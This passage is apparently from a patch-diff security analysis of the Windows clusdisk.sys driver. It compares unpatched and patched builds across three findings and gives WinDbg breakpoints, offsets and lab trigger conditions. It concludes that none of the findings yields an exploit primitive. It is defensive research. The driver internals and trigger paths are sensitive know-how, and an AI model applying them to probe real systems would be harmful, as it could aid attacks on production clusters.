&lt;h3&gt;Finding 1 — Pool::PendDefenseIrp Callback Under Lock&lt;/h3&gt;
&lt;p&gt;What the binaries establish is only the structural change: in the unpatched build the exclusive resource &lt;code&gt;this+0x40&lt;/code&gt; is held across &lt;code&gt;SpacePortCallbackProxy::PrmGetNumberOfDevices&lt;/code&gt;, and in the patched build it is not. A concrete trigger for observable misbehavior is &lt;strong&gt;not&lt;/strong&gt; established by the diff, for two reasons:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Re-entrancy is unproven.&lt;/strong&gt; Whether &lt;code&gt;PrmGetNumberOfDevices&lt;/code&gt; can synchronously re-enter &lt;code&gt;clusdisk.sys&lt;/code&gt; on a path that re-acquires &lt;code&gt;this+0x40&lt;/code&gt; is not visible in this diff.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The sibling contradicts a hard deadlock.&lt;/strong&gt; &lt;code&gt;Pool::Arbitrate&lt;/code&gt; holds &lt;code&gt;this+0x40&lt;/code&gt; exclusive across the same callback in both the unpatched and patched builds. If that pattern reliably self-deadlocked, &lt;code&gt;Pool::Arbitrate&lt;/code&gt; would deadlock too and would not have been left unchanged.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To observe the difference in a lab, one would reach &lt;code&gt;Pool::PendDefenseIrp&lt;/code&gt; through the pool device-control path and break at &lt;code&gt;0x1C000AB76&lt;/code&gt; (lock) and &lt;code&gt;0x1C000ABA8&lt;/code&gt; (callback) to confirm the lock is held across the callback in the unpatched build, versus the patched order at &lt;code&gt;0x14000CB33&lt;/code&gt; (callback) then &lt;code&gt;0x14000CB71&lt;/code&gt; (lock). Contention or a hang would only appear if a second thread on the same &lt;code&gt;Pool&lt;/code&gt; blocks on &lt;code&gt;this+0x40&lt;/code&gt; while the callback runs — which requires the re-entrancy in point 1 to actually exist.&lt;/p&gt;
&lt;h3&gt;Finding 2 — ClusPoolReadRegistrationKeys / ReservationKeys&lt;/h3&gt;
&lt;p&gt;The realloc loop can be exercised by returning PR data whose reported key-list length (big-endian dword at buffer bytes &lt;code&gt;[4..7]&lt;/code&gt;) exceeds the current buffer (&lt;code&gt;0x808&lt;/code&gt; for registrations, &lt;code&gt;0x18&lt;/code&gt; for reservations) but stays &lt;code&gt;≤ 0x8000&lt;/code&gt;. Doing so forces the loop to reallocate and retry. Tracing both builds, the previous buffer is freed at the top of the next iteration, the returned buffer is not double-freed, and error paths free exactly once. No bugcheck is expected in either build from this path; the patched change is a refactor plus zero-initialized allocation, not a memory-safety fix.&lt;/p&gt;
&lt;h3&gt;Finding 3 — Pool::Arbitrate&lt;/h3&gt;
&lt;p&gt;The unpatched handle-array allocation (&lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt;, &lt;code&gt;NonPagedPoolNx&lt;/code&gt;) is initialized immediately after a successful allocation: the count is stored at offset 0 and the element region is &lt;code&gt;memset&lt;/code&gt; to zero. There is no path that returns the raw buffer to a caller before this initialization, so no stale-pool disclosure is demonstrable. The patched change swaps the allocator to &lt;code&gt;ExAllocatePool2&lt;/code&gt; (zero-initialized) and wraps the arrays in &lt;code&gt;CAutoArrayMemPtr&lt;/code&gt; — a hardening/refactor, not a fix for an observed leak.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Lock scope change&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;What the patch does:&lt;/strong&gt; Removes the exclusive resource &lt;code&gt;this+0x40&lt;/code&gt; from being held across the &lt;code&gt;PrmGetNumberOfDevices&lt;/code&gt; callback. This shortens the critical section and avoids holding a pool-wide exclusive lock across an external subsystem call.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; None demonstrated. A denial of service via re-entrant self-deadlock is conceivable but is not proven by the binaries, and is contradicted by &lt;code&gt;Pool::Arbitrate&lt;/code&gt; retaining the lock-across-callback pattern in both builds. No state-corruption or write primitive is supported by the diff.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2 — Allocation refactor&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; None. Both builds free the PR-key buffers correctly; there is no use-after-free or double-free to leverage. The patched build additionally zero-initializes via &lt;code&gt;ExAllocatePool2&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 3 — Allocation refactor&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; None demonstrated. The unpatched handle array is initialized (count stored, elements &lt;code&gt;memset&lt;/code&gt; to zero) immediately after allocation and is not exposed raw to a caller. The patched build zero-initializes via &lt;code&gt;ExAllocatePool2&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Pool::PendDefenseIrp&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Break&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;entry&lt;/span&gt;
&lt;span class="nt"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;clusdisk_unpatched&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nt"&gt;Pool&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;PendDefenseIrp&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Alternative&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;by&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;offset&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="nt"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c000ab5c&lt;/span&gt;

&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Break&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;vulnerable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;callback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;held&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;point&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;clusdisk_unpatched&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nt"&gt;SpacePortCallbackProxy&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;PrmGetNumberOfDevices&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Alternative&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;by&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;offset&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="nt"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c0008fa8&lt;/span&gt;

&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Break&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;acquisition&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;confirm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ordering&lt;/span&gt;
&lt;span class="nt"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c000ab76&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ExAcquireResourceExclusiveLite&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Breakpoint&lt;/th&gt;
&lt;th&gt;Register/Memory&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c000ab5c&lt;/code&gt; (entry)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; = &lt;code&gt;this&lt;/code&gt; (Pool object)&lt;/td&gt;
&lt;td&gt;Confirm Pool object pointer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c000ab76&lt;/code&gt; (lock acquire)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; = &lt;code&gt;this+0x40&lt;/code&gt; (ERESOURCE)&lt;/td&gt;
&lt;td&gt;Verify lock target&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c000aba8&lt;/code&gt; (callback)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; = &lt;code&gt;[this+0x218]&lt;/code&gt; (callback proxy ctx)&lt;/td&gt;
&lt;td&gt;Callback runs here; in the unpatched build &lt;code&gt;this+0x40&lt;/code&gt; is held&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Post-callback&lt;/td&gt;
&lt;td&gt;&lt;code&gt;!thread&lt;/code&gt; on all threads&lt;/td&gt;
&lt;td&gt;Check whether any other thread blocks in &lt;code&gt;ExAcquireResourceExclusiveLite&lt;/code&gt; on the same ERESOURCE&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Key command at the lock breakpoint (&lt;code&gt;0x1c000ab76&lt;/code&gt;, &lt;code&gt;rcx&lt;/code&gt; = &lt;code&gt;this+0x40&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="sx"&gt;!locks @rcx                  ; dump ERESOURCE state — note ExclusiveOwnerThread&lt;/span&gt;
&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;_ERESOURCE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;@rcx&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ActiveCount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExclusiveOwnerThread&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ContentionCount&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key offsets:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Significance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c000ab76&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call cs:__imp_ExAcquireResourceExclusiveLite&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exclusive lock acquired (&lt;code&gt;this+0x40&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c000aba8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call PrmGetNumberOfDevices&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Callback runs while &lt;code&gt;this+0x40&lt;/code&gt; is held&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c000abe0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call cs:__imp_ExAcquireResourceSharedLite&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Second lock (&lt;code&gt;this+0x178&lt;/code&gt;, shared)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Compare with the patched build: callback at &lt;code&gt;0x14000cb33&lt;/code&gt; (no lock), exclusive lock at &lt;code&gt;0x14000cb71&lt;/code&gt;, shared lock at &lt;code&gt;0x14000cb89&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trigger:&lt;/strong&gt; Reach &lt;code&gt;Pool::PendDefenseIrp&lt;/code&gt; through the pool device-control path. The exact IOCTL numeric value and input-structure layout are not established from this diff and would have to be recovered from the routing in &lt;code&gt;ClusPoolDeviceControl&lt;/code&gt; before writing a user-mode trigger.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expected observation:&lt;/strong&gt; The lock is held across the callback in the unpatched build and not in the patched build. Whether this produces a hang depends on a second thread blocking on &lt;code&gt;this+0x40&lt;/code&gt; during the callback, which in turn depends on re-entrancy that this diff does not confirm. No specific bugcheck is asserted.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 2 — ClusPoolReadRegistrationKeys&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clusdisk_unpatched&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;ClusPoolReadRegistrationKeys&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c000fb28&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clusdisk_unpatched&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;ClusPoolReadReservationKeys&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c000fcfc&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c000fb7f&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allocation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c000fb98&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;previous&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c000fba4&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c000fc31&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;realloc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keycount&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c000fc00&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;4..7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Register&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;r14d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Current buffer allocation size (starts &lt;code&gt;0x808&lt;/code&gt; reg / &lt;code&gt;0x18&lt;/code&gt; res)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rsi&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pool pointer for the current buffer (&lt;code&gt;rax&lt;/code&gt; from the allocation, moved to &lt;code&gt;rsi&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[rsi+4]..[rsi+7]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Big-endian key-list length read back from the buffer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[rsp+0x54]&lt;/code&gt; (&lt;code&gt;var_5C&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;IOCTL output length from the storage stack&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Key command at the length read (&lt;code&gt;0x1c000fc00&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;@rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;L8&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;dump&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;big&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;endian&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keycount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;4&lt;/span&gt;&lt;span class="o"&gt;]&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;5&lt;/span&gt;&lt;span class="o"&gt;]&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;6&lt;/span&gt;&lt;span class="o"&gt;]&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;7&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Trigger:&lt;/strong&gt; Return PR data where the big-endian length at bytes &lt;code&gt;[4..7]&lt;/code&gt; makes &lt;code&gt;keycount + 8 &amp;gt; current_buffer_size&lt;/code&gt; but &lt;code&gt;≤ 0x8000&lt;/code&gt;, forcing the loop to reallocate at &lt;code&gt;keycount + 8&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expected observation:&lt;/strong&gt; The loop reallocates and retries; the previous buffer is freed once at the top of the next iteration and the final buffer is freed once (or handed to the caller). No double-free or use-after-free occurs in either build. Pool tag &lt;code&gt;0x30536443&lt;/code&gt; ("CdS0") for registrations, &lt;code&gt;0x31536443&lt;/code&gt; ("CdS1") for reservations.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 3 — Pool::Arbitrate&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;clusdisk_unpatched&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nt"&gt;Pool&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;Arbitrate&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c000addc&lt;/span&gt;
